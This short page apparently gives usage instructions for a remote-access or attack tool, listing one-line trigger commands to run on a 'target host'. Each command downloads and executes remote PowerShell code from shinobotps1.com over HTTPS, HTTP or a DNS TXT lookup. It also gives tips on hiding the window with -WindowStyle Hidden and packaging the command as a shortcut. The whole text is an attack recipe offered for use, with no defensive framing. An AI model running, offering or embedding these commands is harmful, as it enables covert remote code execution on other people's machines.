THE TRIGGER
Execute one of this one-line command on your target host.
HTTPS
powershell IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');
Another TRIGGER, via-DNS.
for /F "usebackq tokens=*" %i in (`"nslookup -querytype=TXT shinobotps1.com"`) do cmd /c %i
HTTP
powershell IEX (New-Object Net.WebClient).DownloadString('http://shinobotps1.com/download_get_http.php');
TIPS
You can hide the windows to put -WindowStyle Hidden in the first trigger.
powershell -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');
The easiest way is to create a shortcut with one of those commands.